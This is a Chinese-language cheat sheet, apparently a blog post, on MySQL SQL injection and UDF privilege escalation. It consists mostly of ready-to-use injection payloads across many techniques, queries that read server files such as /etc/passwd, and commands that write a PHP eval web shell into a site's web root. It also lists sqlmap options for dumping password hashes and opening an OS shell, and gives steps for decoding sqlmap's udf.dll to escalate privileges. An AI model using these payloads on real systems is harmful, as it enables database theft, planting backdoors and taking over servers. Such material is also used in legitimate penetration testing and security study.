sql注入常见方法及udf提权
sql注入总结
1.联合注入
order by 判断字段数或者通过union select 1,2,3.。。。。。来判断字段数和输出位置
获取当前数据库 union select 1,database()-- -
获取数据库中的表 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
获取表中的字段名 union select 1,group_concat(column_name) from information_schema.columns where table_name=’ '-- -
2.报错注入
select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;
select * from xxx where id=‘12’ or extractvalue(1,concat(user(),0x7e,version()))
select * from xxx where id=‘12’ or updatexml(1,concat(user(),0x7e,version()),1)
3.盲注
3.1布尔盲注
猜解长度 之后逐个通过ascii猜解通过返回不同的结果来判断
select * from xxx where id=‘12’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109
select ascii(substr(database(),1,1))=100;
3.2时间盲注
猜解长度 之后逐个通过ascii猜解通过返回不同的时间来判断
select * from xxx where id=‘12’ and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1 )) > 120,sleep(2),NULL)
4.order by注入
select * from xxx order by updatexml(1,if(1=1,1,user()),1)
select * from xxx order by IF(1=1,1,(select+1+union+select+2))
select * from xxx order by (select+1+regexp+if(1=1,1,0x00))
select * from xxx order by extractvalue(1,if(1=1,1,user()))
select * from xxx order by if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
5.limit注入
5.1不存在order by
这种情况下的 limit 后面可以使用union进行联合查询注入
执行语句
5.2存在order by
此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入
select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
6.insert/update注入
可以通过插入数据得到回显进行注入,也可以通过结合报错注入进行注入
update xxx set id=‘1‘ | select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8n)), 16, 10);
insert into users values (17,‘james’, ‘bond’|conv(hex(substr(user(),1 + (n-1) * 8, 8 n)),16, 10);
##注,上面方法在高版本mysql下不一定生效
update xxx set id=‘xx’+(select conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);)+‘xx‘
7.宽字节注入
在一些情况下,数据库使用了gbk编码,导致我们可以绕过addslashes函数
输入数据:username=%df%27or%201=1%23&password=123
处理后:username=%df%5c%27or%201=1%23&password=123
到数据库查询时:select * from users where username = ‘運’or 1=1#’ and password=‘123’;
8.二次注入
当后台对我们插入的数据进行了转义,但是对从数据库查询出的数据直接放到了sql语句中进行执行,可能会造成二次注入
我们注册用户名为123’ 经过addslashes的转义变成123\‘ 存储在数据库中的还是123’ 当后端在用我们用户名查询的时候就会得到select * from xxx where id=‘12‘’ 从而造成二次注入
9.堆叠注入
我们在使用sql语句时可以select * from users where id=1;select 1,2,3;
来实现两条语句的执行
10.sql注入后osshell使用
在使用sqlmap可以使用osshell参数来实现系统命令,在mysq下我们要知道网站的绝对目录,并且对网站目录有写入权限,因为在php与mysql的环境下,osshell是通过产生一个php文件在网站根目录下来执行命令,所以以上条件吧不可缺少
11.sql注入后文件写入
11.1要求
secure-file-priv是一个系统变量,对于文件读/写功能进行限制。具体如下:
无内容,表示无限制。
为NULL,表示禁止文件读/写。
为目录名,表示仅允许对特定目录的文件进行读/写。
注:5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。
三种方法查看当前secure-file-priv的值:
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like “secure_file_priv”;
修改:
通过修改my.ini文件,添加:secure-file-priv=
启动项添加参数:mysqld.exe --secure-file-priv=
11.2读
Mysql读取文件通常使用load_file函数,语法如下:
select load_file(file_path);
第二种读文件的方法:
load data infile “/etc/passwd” into table test FIELDS TERMINATED BY ‘\n’; #读取服务端文件
第三种:
load data local infile “/etc/passwd” into table test FIELDS TERMINATED BY ‘\n’; #读取客户端文件
限制:
前两种需要secure-file-priv无值或为有利目录。
都需要知道要读取的文件所在的绝对路径。
要读取的文件大小必须小于max_allowed_packet所设置的值
11.3写
通过设置mysql日志目录
set global general_log=on;set global general_log_file=‘C:/phpStudy/WWW/123.php’;select ‘<?php eval($_POST[123]) ?>’;
set 命令在sql注入中需要在堆叠注入中使用,在查询注入中不可用
into outfile / into dumpfile写文件
select ‘<? phpinfo(); ?>’ into outfile ’c:/123.php‘;
11.4扩展
Mysql Client 任意文件读取攻击链拓展
这个在mysql客户端可以直接使用,但是在使用php进行数据库连接时,除了要连接数据库并且需要执行查询操作,在php7.3.4下复现失败,php5.4下复现成功
12.sqlmap常用语法
sqlmap.py
-u 指定一个url连接,url中必须有?xx=xx
才行
-l
后接一个log文件,可以是burp等的代理的log文件
-m
后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url
-r
可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标
--method=METHOD
指定是get方法还是post方法
--data=DATA
指明参数是哪些
--cookie=COOKIE
指定测试时使用的cookie
--user-agent=AGENT
指定一个user-agent的值进行测试
--random-agent
使用随机user-agent进行测试
--referer=REFERER
指定http包中的refere字段
-p TESTPARAMETER
知道测试的参数
--level=LEVEL
设置测试的等级
–string=STRING` 在基于布尔的注入时,有的时候返回的页面一次一个样,需要我们自己判断出标志着返回正确页面的标志,会根据页面的返回内容这个标志(字符串)判断真假,可以使用这个参数来制定看见什么字符串就是真。。
--technique=TECH
指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)
–time-sec=TIMESEC` 在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。
–union-cols=UCOLS 联合查询的尝试列数
--current-user
当前用户
--current-db
当前数据库
–is-dba 是否为dba
–users 查询一共都有哪些用户
–passwords 查询用户密码的哈希
--dbs
目标服务器中有什么数据库
--tables
目标数据库有什么表
--columns
目标表中有什么列
–dump 这个就不解释了
–sql-query=QUERY` 执行一个sql语句。
–sql-shell` 创建一个sql的shell。
--os-shell
创建一个对方操作系统的shell,远程执行系统命令。
13.sql注入udf提权
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
windows下udf提权的条件
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限。
select Host,user,plugin from mysql.user where user = substring_index(user(),’@’,1);
当 plugin 的值为空时不可提权
当 plugin 值为 mysql_native_password 时可通过账户连接提权
udf.dll在sqlmap里可以找到,sqlmap/udf/mysql/windows下边有32和64两种,这里的位数是mysql的位数,并不是对方系统的位数
sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py
在提权中我们只能使用dll文件中存在的函数